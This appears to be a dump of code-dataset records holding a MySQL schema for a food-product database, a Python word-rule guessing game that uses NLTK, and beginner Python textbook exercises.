"path": "/openff/models/create-db.sql",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "CREATE DATABASE openff DEFAULT CHARACTER SET utf8;\nUSE openff;\nCREATE TABLE Categories (\n id int AUTO_INCREMENT NOT NULL,\n category_name varchar(500) NOT NULL,\n UNIQUE (category_name),\n PRIMARY KEY (id)\n);\nCREATE TABLE Products(\n\tid int AUTO_INCREMENT NOT NULL,\n\tproduct_name text NOT NULL,\n\tbrands text,\n\tcode bigint NOT NULL,\n\tcategories text NOT NULL,\n\tnutrition_grades varchar(1) NOT NULL,\n\tstores text,\n\tsubstitute_id int,\n\turl text NOT NULL,\n\tadded_timestamp int NOT NULL,\n\tupdated_timestamp int,\n\tCONSTRAINT fk_substitute_id\n\t\tFOREIGN KEY (substitute_id) REFERENCES Products(id)\n\t\tON DELETE SET NULL,\n\tUNIQUE (code),\n\tPRIMARY KEY (id)\n);\nCREATE TABLE Prod_in_Cat(\n\tcategory_id int NOT NULL,\n\tproduct_id int NOT NULL,\n\tCONSTRAINT fk_category_id\n\t\tFOREIGN KEY (category_id) REFERENCES Categories(id)\n\t\tON DELETE CASCADE,\n\tCONSTRAINT fk_product_id\n\t\tFOREIGN KEY (product_id) REFERENCES Products(id)\n\t\tON DELETE CASCADE,\n\tPRIMARY KEY (category_id, product_id)\n);"
}
] | 14 |
maripeza/grien-dour | https://github.com/maripeza/grien-dour | 7f6faee504f8c745065cb87947da114f7b84e834 | a8e1f654e63d3cc3f36d8489e55d74f9e17ac40f | a7929d324c7075f9eb470803a435fcab825b0911 | refs/heads/master | 2016-09-06T01:39:32.329438 | 2013-04-23T13:16:35 | 2013-04-23T13:16:35 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5810810923576355,
"alphanum_fraction": 0.5927684307098389,
"avg_line_length": 30.113636016845703,
"blob_id": "b4dca0878a251ae49ffe25a747551d185f90acbd",
"content_id": "263d6ad0c699e3b75ad7564faab226ed5923cddc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2738,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 88,
"path": "/features.py",
"repo_name": "maripeza/grien-dour",
"src_encoding": "UTF-8",
"text": "def vowel_string(word):\n the_string = ''\n for letter in word:\n if letter.lower() in 'aeiou':\n the_string += letter\n return the_string\n\ndef double_letters(word):\n doubles = []\n for i in range(1, len(word)):\n if word[i] == word[i - 1]:\n doubles.append(word[i] + word[i - 1])\n return doubles\n\ndef const_string(word):\n the_string = ''\n for letter in word:\n if letter.lower() in 'bcdfghjklmnpqrstvwxyz': #we're assuming y is a consonant, I guess.\n the_string += letter\n return the_string\n#want to be able to say if 1st, 2nd, 3rd, etc consonants match. also last, 2nd to last, etc.\n \ndef is_palindrome(word):\n for i in range(int(len(word)/2)+1):\n if word[i] != word[-(i+1)]:\n return False \n return True\n\ndef multiple_letters(word):\n multlist = []\n for letter in word:\n if word.count(letter) > 1: \n multlist.append(letter)\n return list(set(multlist)) #gets rid of duplicates\n\ndef same_letters(a, b):\n return a == b\n\ndef letter_pairs(word):\n pairlist = []\n for i in range(len(word)-1):\n pairlist.append(word[i:i+1])\n return set(pairlist)\n\ndef letter_set(word):\n return word\n\ndef same_pairs(word1, word2):\n '''\n same = []\n longer, shorter = alist, blist\n if len(blist)>len(alist):\n longer, shorter = blist, alist\n for pair in longer:\n if pair in shorter: \n same.append(pair)\n return same\n '''\n\ndef word_features(word):\n features = {}\n vowels = vowel_string(word)\n if len(vowels) >= 1:\n features['first_vowel'] = vowels[0]\n features['last_vowel'] = vowels[-1]\n features['bookend_vowels'] = same_letters(vowels[0], vowels[-1])\n const = const_string(word)\n if len(const) >= 1:\n features['first_const'] = const[0]\n features['last_const'] = const[-1]\n if len(const) >= 2:\n features['second_const'] = const[1]\n features['penult_const'] = const[-2]\n features['bookend_const'] = same_letters(const[0], const[-1])\n if len(word) >= 1:\n features['bookend_letters'] = same_letters(word[0], word[-1])\n doubles = double_letters(word)\n features['num_doubles'] = len(doubles)\n features['doubles_exist'] = (len(doubles) > 0)\n features['word_length'] = len(word)\n features['is_palindrome'] = is_palindrome(word)\n features['letter_set'] = letter_set(word)\n return features \n\ndef feature_name_list():\n return ['first_vowel', 'last_vowel', 'bookend_vowels', 'first_const', 'second_const', 'last_const',\n 'penult_const', 'bookend_const', 'num_doubles', 'doubles_exist', 'word_length',\n 'is_palindrome', 'bookend_letters', 'letter_set']\n"
},
{
"alpha_fraction": 0.7663230299949646,
"alphanum_fraction": 0.7663230299949646,
"avg_line_length": 43.69230651855469,
"blob_id": "a65724a691c3588b7b9796682c30d00da9532af5",
"content_id": "8d302a448d60639937ccacb982e579b5e8c94fe3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 582,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 13,
"path": "/README.md",
"repo_name": "maripeza/grien-dour",
"src_encoding": "UTF-8",
"text": "grien-dour\n=============\nTO DO:\n\n-We need to find some way to put more weight on some of the features when they\nare positive (instead of negative)... for example, bookend\\_const should\nnot hold any weight when it is False. This does not go for all features.\n\n-We need to take into account vowels/consonants that are NOT first or\nlast. Could make a new feature that is a set or list of\nvowels/consonants. In the corresponding test function in rulewizard.py,\nwe could find the intersection between the vowel/consonant sets for all\nthe words to check that the feature is significant.\n\n"
},
{
"alpha_fraction": 0.5432173609733582,
"alphanum_fraction": 0.5482302904129028,
"avg_line_length": 40.40251541137695,
"blob_id": "4deb6627312bc570532898282546b00d7837a42f",
"content_id": "08b448f2f9f0c4486054da18b2db173710261286",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6583,
"license_type": "no_license",
"max_line_length": 483,
"num_lines": 159,
"path": "/greendoor.py",
"repo_name": "maripeza/grien-dour",
"src_encoding": "UTF-8",
"text": "from rulewizard import *\nimport nltk\nimport random\n\nclass Game:\n def __init__(self):\n self.train_list = list()\n self.guessed_words = list()\n\n def welcome_msg(self):\n print(\"\\n\")\n has_played_before = False\n valid_answer = False\n while not valid_answer:\n answer = raw_input(\"Welcome! Have you played this game before? (y/n):\")\n if len(answer) < 1:\n pass\n elif answer.lower()[0] == 'y':\n has_played_before = True\n valid_answer = True\n elif answer.lower()[0] == 'n':\n has_played_before = False\n valid_answer = True\n else:\n print(\"\\nYou have given an invalid response... Try again:\\n\")\n if has_played_before:\n print(\"Okay, have fun!\\n\")\n elif not has_played_before:\n print(\"You will make a rule for a set of words. For example, your \\nwords must all have a double letter in them (like 'Green' and 'Door')\\nin order to be classified as 'correct.' \\nThis rule can deal with the number of or position of letters, \\nthe presence of a specific letter, whether something is a \\nvowel or consonant, or the part of speech of the word. \\nThe computer will try to guess your rule based on the words\\nyou enter that follow the rule. Have fun!\\n\")\n\n def get_y_words(self, n):\n '''Asks the user for n words that follow the rule'''\n i = 1\n print(\"Enter %d words that belong in your set.\" % n)\n while i <= n:\n y_word = raw_input(\"Word %i: \" % i)\n y_word = y_word.lower()\n if len(y_word) < 1:\n print(\"Please enter a word this time...\")\n elif (y_word, 'y') in self.train_list:\n print(\"You already gave me that word.\")\n else:\n i += 1\n self.train_list.append((y_word, 'y'))\n\n def get_n_words(self, n):\n '''Asks the user for n words that do not follow their rule.'''\n i = 1\n print(\"Now, enter %d words that do not belong in your set.\" % n)\n while i <= n:\n n_word = raw_input(\"Word %i: \" % i)\n n_word = n_word.lower()\n if len(n_word) < 1:\n print(\"Please enter a word this time.\")\n elif (n_word, 'n') in self.train_list:\n print(\"You already entered that word.\")\n elif (n_word, 'y') in self.train_list:\n print(\"You said that word belongs in your \\'yes\\' set. Stop contradicting yourself.\")\n else:\n i += 1\n self.train_list.append((n_word, 'n'))\n\n def nltk_word(self):\n '''Makes a list of nltk words from the Brown corpus that we can cycle through later.'''\n self.words = nltk.corpus.brown.words('ch01')\n numstrings = [str(i+1) for i in range(10, 30)]\n for num in numstrings: \n self.words = self.words + nltk.corpus.brown.words('ch%s'%num)\n \n def word_match(self): \n '''\n Finds word in self.words that matches the rule and returns that word, \n deleting it and everything before it from the list.\n '''\n index = 0\n word = ''\n #if the uncommented lines here are replaced with the commented lines,\n #the word-grabbing will be random.\n for i in range(len(self.words)):\n #possible_word = random.choice(self.words).lower()\n #if self.wizard.does_word_match_current_best_rule(possible_word):\n if self.wizard.does_word_match_current_best_rule(self.words[i].lower()): # obeys rule:\n #if possible_word not in self.guessed_words:\n if self.words[i].lower() not in self.guessed_words:\n word = self.words[i]\n #word = possible_word\n break\n #return that word\n #self.words = self.words[i+1:]\n return word\n\n def word_guess(self, count):\n '''Finds a word in the list of nltk words we made that it thinks follows the rules, asks the \n user whether it is correct, and continues until it gets 5 in a row correct. If incorrect, \n asks the user to supply two more correct and incorrect words. \n '''\n #cycle through an nltk corpus until you find a word that matches the rule and return that.\n word_to_guess = self.word_match() \n correct = raw_input(\"Does the word \\\"%s\\\" follow your rule? (y/n) \" % word_to_guess).lower()[0]\n if count == 5 and correct == 'y':\n print(\"Looks like I've got it figured out!\")\n self.wizard.call_dat_shiznat()\n return True\n elif correct == 'y': \n self.guessed_words.append(word_to_guess.lower())\n self.word_guess(count+1)\n elif correct == 'n': \n print(\"Well shucks. Please enter more words to help me guess better.\")\n self.wizard.amputate_first_significant_feature()\n self.get_y_words(2)\n self.get_n_words(2)\n self.word_guess(0)\n \n\n def interaction_loop(self):\n '''Does the actual game-playing with the user.'''\n self.play_again = True\n self.welcome_msg()\n num_words = 5\n self.nltk_word()\n while self.play_again == True:\n self.get_y_words(num_words)\n self.get_n_words(num_words)\n self.wizard = RuleWizard(self.train_list)\n self.wizard.find_best_rules()\n self.word_guess(0)\n #if 5 words are correct, computer wins.\n self.play_again = self.check_play_again()\n\n def best_feature(self):\n return self.most_likely_features[0][0]\n\n def check_play_again(self): \n '''Asks user if they want to play again.'''\n if raw_input(\"Do you want to play again? (y/n) \").lower()[0] == 'y':\n return True\n else: \n return False\n\n def test(self):\n train_list = [('poppies', 'y'), ('racket', 'n'),\n ('somethin', 'n'), ('puppies', 'y'),\n ('blodnasir', 'n'), ('vietnam', 'n'),\n ('freedom', 'y'), ('commies', 'y'),\n ('black', 'n')]\n self.nltk_word()\n self.wizard = RuleWizard(train_list)\n self.wizard.find_best_rules()\n self.word_guess(0)\n while self.play_again:\n #Do we need the other functions in here? \n self.word_guess(0)\n self.play_again\n\n\n\ninstance = Game()\ninstance.interaction_loop()\n#instance.interaction_loop()\n"
},
{
"alpha_fraction": 0.5493870973587036,
"alphanum_fraction": 0.5627109408378601,
"avg_line_length": 42.635658264160156,
"blob_id": "5276c3adb107c1af1fec63549f4c42e448a6d0e7",
"content_id": "e96c41d73c26f4fff8c8b98eb0d92caba0ce19d8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11258,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 258,
"path": "/rulewizard.py",
"repo_name": "maripeza/grien-dour",
"src_encoding": "UTF-8",
"text": "from features import *\nfrom naivebayes import NaiveBayesClassifier\nimport string\n\nclass RuleWizard:\n '''\n A comprehensive class to find all facets of the best rule for a given training list. An\n instance of the class is initialized with a training list (In the 'green door' scenario,\n this is comprised of the words that the user has given that can be differentiated by\n a rule).\n\n In normal usage, the find_best_rules() method is called after initialization, which creates \n a Naive Bayes classifier (stolen from NLTK) to find the \"most informative features\" via a\n built-in function.\n '''\n def __init__(self, _train_list):\n self.features = feature_name_list()\n self.best_feature_list = list()\n #current_best_feature is set so we can \"iterate\" through the list of most informative features.\n self.train_list = [i for i in _train_list if i[1] == 'y']\n self.train_words = [i[0] for i in self.train_list]\n self.letter_set = set(self.train_words[0])\n self.feature_dispatch = {\n 'first_vowel' : self.test_first_vowel,\n 'last_vowel' : self.test_last_vowel,\n 'bookend_vowels' : self.test_bookend_vowels,\n 'first_const' : self.test_first_const,\n 'second_const' : self.test_second_const,\n 'last_const' : self.test_last_const,\n 'penult_const' : self.test_penult_const,\n 'bookend_const' : self.test_bookend_const,\n 'num_doubles' : self.test_num_doubles,\n 'doubles_exist' : self.test_doubles_exist,\n 'word_length' : self.test_word_length,\n 'is_palindrome' : self.test_is_palindrome,\n 'bookend_letters' : self.test_bookend_letters,\n 'letter_set' : self.test_letter_set\n }\n \n\n def amputate_first_significant_feature(self):\n '''\n Will remove the first feature from the best_feature_list. This is\n called when the first feature in this list decidedly does not match\n the training set.\n '''\n self.best_feature_list = self.best_feature_list[1:]\n self.is_letter_set_significant()\n\n def call_dat_shiznat(self):\n '''\n Calls the test function of the best feature in mode 3 to print out a description\n of the rule for that feature.\n '''\n self.feature_dispatch[self.best_feature_list[0]]('', mode=3)\n\n def is_letter_set_significant(self):\n '''\n Tests the letter set (which is the intersection of the letters in all of the training\n words) to see if it is significant. If so, add it to the front of the best feature list.\n '''\n if self.best_feature_list[0] not in ['first_vowel', 'last_vowel',\n 'first_const', 'last_const',\n 'second_const', 'penult_const']:\n if len(self.letter_set) >= 1:\n self.best_feature_list.insert(0, 'letter_set')\n\n def retrain(self, _train_list):\n self.train_list = [i for i in _train_list if i[1] == 'y']\n self.find_best_rules()\n\n def find_best_rules(self):\n '''\n Will use the train_list of this class instance to create a temporary classifier\n that is used to find the most informative features of the training set. This\n feature list is stored in self.best_feature_list, and \"iterated\" with \n self.current_best_feature.\n '''\n train_set = [(word_features(word), outcome) for (word, outcome) in self.train_list]\n classifier = NaiveBayesClassifier.train(train_set)\n sorted_feature_list = [i for i in classifier.show_most_informative_features(10000)]\n #Basically, sort features according to probability.\n sorted_feature_list.sort(key=lambda feature: feature[1], reverse=True)\n self.best_feature_list = [i[0] for i in sorted_feature_list]\n\n #create letter intersection set to find common letters in the train list\n for i in self.train_words:\n self.letter_set = set(i).intersection(self.letter_set)\n\n def does_word_match_current_best_rule(self, word):\n '''\n Will dispatch to a function depending on the current best feature. That function\n will take a mode and word. 'mode' can be 1 or 2. In mode 1, the functions will check whether \n given words from the corpus match the rules. In mode 2, the functions will check \n if the rule is even valid for the first word in the training list. In mode 3, the \n functions will print a string describing the rule.\n '''\n while not self.feature_dispatch[self.best_feature_list[0]](word, mode=2):\n self.amputate_first_significant_feature()\n if self.corpus_word_is_usable(word):\n return self.feature_dispatch[self.best_feature_list[0]](word, mode=1)\n else:\n return False\n\n def corpus_word_is_usable(self, word):\n '''\n Make sure we want to try to use this word. if not, return False to ask\n for another word.\n '''\n #if there are funky characters in the word, return False.\n if set(word.lower()) - set(string.lowercase) != set():\n return False\n if vowel_string(word) == '':\n return False\n if const_string(word) == '':\n return False\n if word.lower() in ['the', 'a', 'an']:\n return False\n return True\n\n def test_letter_set(self, word, mode=1):\n if mode == 1:\n return self.letter_set.intersection(set(word)) == self.letter_set\n elif mode == 2:\n return True\n elif mode == 3:\n setlength = len(self.letter_set)\n if setlength == 1:\n print \"The word must contain the letter \\'%s\\'.\" % self.letter_set.pop()\n elif setlength >= 1:\n a_string = ''\n if setlength == 2:\n a_string = '\\'' + self.letter_set.pop() + '\\' and \\'' + self.letter_set.pop() + '\\''\n print \"The words must contain the letters %s.\" % a_string\n else:\n for i in range(setlength):\n if len(self.letter_set) >= 2:\n a_string += ('\\'' + self.letter_set.pop() + '\\', ')\n else:\n a_string += ('and \\'' + self.letter_set.pop() + '\\'')\n print \"The words must contain the letters %s.\" % a_string\n \n def test_last_vowel(self, word, mode=1):\n if mode == 1:\n return vowel_string(self.train_words[0])[-1] == vowel_string(word)[-1]\n elif mode == 2:\n return True\n elif mode == 3:\n print \"The last vowel must be %s.\" % vowel_string(self.train_words[0])[-1]\n\n def test_first_vowel(self, word, mode=1):\n if mode == 1:\n return vowel_string(self.train_words[0])[0] == vowel_string(word)[0]\n elif mode == 2:\n return True\n elif mode == 3:\n print \"The first vowel must be %s.\" % vowel_string(self.train_words[0])[0]\n\n def test_bookend_vowels(self, word, mode=1):\n if mode == 1:\n vowelstring = vowel_string(word)\n if len(vowelstring) >= 2:\n return vowelstring[0] == vowelstring[-1]\n else:\n return False\n elif mode == 2:\n vowelstring = vowel_string(self.train_words[0])\n return vowelstring[0] == vowelstring[-1]\n elif mode == 3:\n print \"The first vowel must be the same as the last vowel.\"\n\n def test_first_const(self, word, mode=1):\n if mode == 1:\n return const_string(self.train_words[0])[0] == const_string(word)[0]\n elif mode == 2:\n return True\n elif mode == 3:\n print \"The first consonant must be %s.\" % const_string(self.train_words[0])[0]\n\n def test_second_const(self, word, mode=1):\n if mode == 1:\n return len(const_string(word)) >= 2 and const_string(self.train_words[0])[1] == const_string(word)[1]\n elif mode == 2:\n return len(const_string(self.train_words[0])) >= 2\n elif mode == 3:\n print \"The second consonant must be %s.\" % const_string(self.train_words[0])[1]\n\n def test_last_const(self, word, mode=1):\n if mode == 1:\n return const_string(self.train_words[0])[-1] == const_string(word)[-1]\n elif mode == 2:\n return True\n elif mode == 3:\n print \"The last consonant must be %s.\" % const_string(self.train_words[0])[-1]\n\n def test_penult_const(self, word, mode=1):\n if mode == 1:\n return len(const_string(word)) >= 2 and const_string(self.train_words[0])[-2] == const_string(word)[-2]\n elif mode == 2:\n return len(const_string(self.train_words[0])) >= 2\n print \"The second-to-last consonant must be %s.\" % const_string(self.train_words[0])[-2]\n\n def test_bookend_const(self, word, mode=1):\n if mode == 1:\n conststring = const_string(word)\n if len(conststring) >= 2:\n return conststring[0] == conststring[-1]\n else:\n return False\n elif mode == 2:\n conststring = const_string(self.train_words[0])\n return conststring[0] == conststring[-1]\n elif mode == 3:\n print \"The first consonant must be the same as the last.\"\n\n def test_num_doubles(self, word, mode=1):\n if mode == 1:\n return len(double_letters(self.train_words[0])) == len(double_letters(word))\n elif mode == 2: \n for i in self.train_words:\n if len(double_letters(i)) <= 1:\n return False\n return True\n elif mode == 3:\n print \"All of your words have %d doubles.\" % len(double_letters(self.train_words[0]))\n\n def test_doubles_exist(self, word, mode=1):\n if mode == 1:\n return len(double_letters(word)) > 0\n elif mode == 2:\n return len(double_letters(self.train_words[0])) >= 1\n elif mode == 3:\n print \"All of your words have a set of double letters.\"\n\n def test_word_length(self, word, mode=1):\n if mode == 1:\n return len(self.train_words[0]) == len(word)\n elif mode == 2:\n return True\n elif mode == 3:\n print \"All of your words are %d letters long.\" % len(self.train_words[0])\n\n def test_is_palindrome(self, word, mode=1):\n if mode == 1:\n return is_palindrome(word)\n elif mode == 2:\n return is_palindrome(self.train_words[0])\n elif mode == 3:\n print \"All of your words are palindromes.\"\n\n def test_bookend_letters(self, word, mode=1):\n if mode == 1:\n return word[0] == word[-1]\n elif mode == 2:\n conststring = const_string(self.train_words[0])\n return self.train_words[0][0] == self.train_words[0][-1]\n elif mode == 3:\n print \"All of your words have the same first and last letter.\"\n"
}
] | 4 |
DX-ZZ/218341 | https://github.com/DX-ZZ/218341 | c39733c21bd5f9234196100eaa776b3ddb71fe2a | 7c47544ebe9841b6dd16e06d678d29e0c39edda0 | 66fa2059c1aaddf2141318a867919da404085d9a | refs/heads/master | 2022-11-09T20:05:21.562849 | 2020-06-24T07:16:56 | 2020-06-24T07:16:56 | 274,601,632 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6425406336784363,
"alphanum_fraction": 0.6824224591255188,
"avg_line_length": 21.566667556762695,
"blob_id": "97e99635efc715454ee4ddaef1a283e687f657ec",
"content_id": "6aee371accdad1d1cd3367529889d96bb7f4c5bd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 677,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 30,
"path": "/ch11/dice_visual_d6.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#15-6\nfrom die import Die\nimport pygal\n\ndef num2char(x):\n return str(x)\n\ndie0 = Die()\ndie1 = Die()\nresults = []\n\nfor roll_num in range(1000):\n result = die0.roll() + die1.roll()\n results.append(result)\n\nfrequencies = []\nmax_result = die0.num_sides + die1.num_sides\nfor value in range(1, max_result + 1):\n frequency = results.count(value)\n frequencies.append(frequency)\n\nhist = pygal.Bar()\nhist.title = \"Results of rolling D6 1000 times.\"\nhist.x_labels = list(map(num2char, list(range(1, max_result + 1))))\nprint(hist.x_labels)\nhist.x_title = \"Result\"\nhist.y_title = \"Frequency of Result\"\n\nhist.add('D6+D6', frequencies)\nhist.render_to_file('die_visual_d6.svg')\n"
},
{
"alpha_fraction": 0.47390395402908325,
"alphanum_fraction": 0.49269309639930725,
"avg_line_length": 21.809524536132812,
"blob_id": "8f2d851adcc97353dde589a884d043bbbc2ee794",
"content_id": "9205af515e5d4bf72c47c784eec93d6f2ca81ee8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 479,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 21,
"path": "/ch6/5-10.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "current_users = ['admin', 'DX', 'WGZ', 'XZY', 'WXK']\nnew_users = ['DMJ', 'DX', 'YC', 'John', 'WXK']\nfor new_user in new_users:\n if new_user in current_users:\n print(new_user+\" Have used\")\n else:\n print(new_user+\" not use\")\n\n\n\n#5-11\nnums = list(range(1,10))\nfor num in nums:\n if num == 1:\n print(\"%sst\" % (num))\n elif num == 2:\n print(\"%snd\" % (num))\n elif num == 3:\n print(\"%srd\" % (num))\n else:\n print(\"%sth\" % (num))\n"
},
{
"alpha_fraction": 0.6410256624221802,
"alphanum_fraction": 0.656633198261261,
"avg_line_length": 22.63157844543457,
"blob_id": "a0c1724933a2f3ad85caa97c331efefb6d1f7a0f",
"content_id": "4d058c341e11f3bb51aedb970ac824109c5a83bb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 929,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 38,
"path": "/ch6/4-10.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#4-10切片\ncars = ['Mercedes-Benz', 'BMW', 'Ferrari', 'Automobile Lamborghini S.p.A', 'Audi', 'Volkswagen']\nprint(\"There are the first three car in my garage:\")\nfor car in cars[:3]:\n print(car.title())\nprint(\"There are the mid three car in my garage:\")\nfor car in cars[2:5]:\n print(car.title())\nprint(\"There are the last three car in my garage:\")\nfor car in cars[3:6]:\n print(car.title())\n\n#4-11\nCars = ['Mercedes-Benz', 'BMW', 'Ferrari']\nfor Car in Cars:\n print(Car)\nmy_car = cars[:]\n\nCars.append('Audi')\n\nmy_car.append('Automobile Lamborghini S.p.A')\n\nprint('my favorite car are:')\nfor car in Cars:\n print(car)\nprint(\"this is my most expensive car:\")\nfor car in my_car:\n print(car)\n\n#4-12\nmy_foods = ['pizza', 'falafel', 'carrot cake']\nfriend_foods = my_foods[:]\nprint('我最喜欢吃的是')\nfor food in my_foods:\n print(food)\nprint('朋友最喜欢吃的')\nfor food in friend_foods:\n print(food)"
},
{
"alpha_fraction": 0.5326876640319824,
"alphanum_fraction": 0.5762711763381958,
"avg_line_length": 19.600000381469727,
"blob_id": "1b3614df436e516ef3b2e99291990bd8ed609124",
"content_id": "c324e47af9e9f88c414a0e4d29256e71839d328b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 473,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 20,
"path": "/ch6/5-6.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 设置变量 age 的值,再编写一个 if-elif-else 结构,根据 age的值判断处于人生的哪个阶段\nage = 50\nif age < 2:\n print(\"You are a baby\")\nelif 4 > age >= 2:\n print(\"You are still toddle\")\nelse:\n print(\"\")\nif 13 > age >= 4:\n print(\"You are a child\")\nelif 13 < age < 20:\n print(\"You are a teenager\")\nelse:\n print(\"\")\nif 65 > age >= 20:\n print(\"You are a adult\")\nelif age >= 65:\n print(\"You are a old man\")\nelse:\n print(\"\")\n\n"
},
{
"alpha_fraction": 0.6482670307159424,
"alphanum_fraction": 0.6688061356544495,
"avg_line_length": 36.095237731933594,
"blob_id": "9befc2f8fe7793515a6a6f73146c93c44e20fb89",
"content_id": "f4fb0b280a70804dca611055da7b852b57551ae1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 959,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 21,
"path": "/ch6/5-3.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 假设在游戏中刚射杀了一个外星人,请创建一个名为alien_color 的变量,并将其设置为'green'、'yellow'或'red' 编写一条 if 语句,检查外星人是否是绿色的;如果是,就打印一条消息,指出\nalien_colors = ['green', 'red', 'yellow']\nif 'green' in alien_colors:\n print('you got 5 points')\nalien_colors2 = ['green', 'red', 'yellow']\nif 'white' not in alien_colors:\n print(\"You can't get mark\")\n\n# 5-4 像练习 5-3 那样设置外星人的颜色,并编写一个 if-else 结构\nalien_colors3 = ['green', 'red', 'yellow']\nif 'green' in alien_colors3:\n print(\"You can get 5 points\" + \" because you shoot alien\")\nelse:\n print(\"You can get 10 points\" + \" because you shoot other alien\")\n\n\nalien_colors3 = ['green', 'red', 'yellow']\nif '' in alien_colors3:\n print(\"You can get 5 points\" + \" because you shoot alien\")\nelse:\n print(\"You can get 10 points\" + \" because you shoot other alien\")\n"
},
{
"alpha_fraction": 0.7118644118309021,
"alphanum_fraction": 0.7118644118309021,
"avg_line_length": 29,
"blob_id": "f0f5d5991fc2e5272aa7c1242d6ca84609db4182",
"content_id": "0023f1fa6dac4baefb77d419fd960427d867098f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 59,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 2,
"path": "/ch10/city_function.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "def city_country(city, country):\n return city+''+country"
},
{
"alpha_fraction": 0.6045751571655273,
"alphanum_fraction": 0.6241829991340637,
"avg_line_length": 17,
"blob_id": "8fabb8299eb534e90abb88abae1e4fb54711aee8",
"content_id": "da28fdad36343a55da2693fbc5d0f4e977737191",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 384,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 17,
"path": "/ch7/5.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 8-1消息\ndef display_message():\n print(\"本章学习了def函数\")\n display_message()\n\n\n# 8-2喜欢的图书\ndef favorite_book(title):\n print(\"One of my favorite books is\" + title)\n favorite_book('大数据导论')\n\n\n# 8-3T恤\ndef make_shirt(size, msg):\n print(\"这件衣服繁荣尺寸是\" + size, \"衣服上的文字是\" + msg)\n\n make_shirt('xxL', '你好!')\n"
},
{
"alpha_fraction": 0.6756756901741028,
"alphanum_fraction": 0.6972972750663757,
"avg_line_length": 30,
"blob_id": "d6dfcc474f9fbd6d65648f774d7f6f32da99f80d",
"content_id": "e7f328d1529708ec8c13d52c91f512a54eaa20bc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 197,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 6,
"path": "/ch9/10-2.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#10-2C语言学习笔记\nfilename = 'learning_python1.txt'\nwith open(filename) as file_object:\n contents = file_object.read()\n contents = contents.replace('Python', 'C++')\n print(contents)"
},
{
"alpha_fraction": 0.625464677810669,
"alphanum_fraction": 0.6319702863693237,
"avg_line_length": 32.625,
"blob_id": "f9fbc1f3130adede40c682925076903c1927cdd1",
"content_id": "1704e151be7d08da28eb136932f4d952c7ed13b9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1160,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 32,
"path": "/ch7/7-8.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 7-8熟食店\nsandwich_orders = ['egg', 'fruit', 'vegetable']\nfinished_sandwiches = []\nwhile sandwich_orders:\n current_user = sandwich_orders.pop()\n print(\"I made your tuna sandwich: \" + current_user.title())\n finished_sandwiches.append(current_user)\nprint(\"\\nfinished_sandwiches:\")\nfor finished_sandwiche in finished_sandwiches:\n print(finished_sandwiche.title())\n\n# 7-9五香烟熏牛肉(pastrami)卖完了\nsandwich_orders = ['pastrami', 'pastrami', 'dog', 'goldfish', 'pastrami', 'fruit', 'vegetable']\nprint(\"所有的pastrami被卖完了\")\nwhile 'pastram' in sandwich_orders:\n sandwich_orders.remove('pastram')\nfor sandwich in sandwich_orders:\n print(sandwich)\n\n # 7-10梦想的度假胜地\n place = {}\n flag = True\n while flag:\n name = input(\"你叫啥名?\")\n places = input(\"If you could visit one place in the world, where would you go?\")\n place[name] = places\n answer = input(\"是否继续?(yes/no)\")\n if answer == 'no':\n flag = False\n print(\"结束!\")\n for name, places in place.items():\n print(name, \"want to go to\", place)\n"
},
{
"alpha_fraction": 0.7038834691047668,
"alphanum_fraction": 0.7038834691047668,
"avg_line_length": 14.923076629638672,
"blob_id": "4d4c7b9fc76ef09c4fe7732c18f0a88dade8e390",
"content_id": "1da39e1198affbea463e63700f23a515e4752e61",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 206,
"license_type": "no_license",
"max_line_length": 29,
"num_lines": 13,
"path": "/ch2/simple_message.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
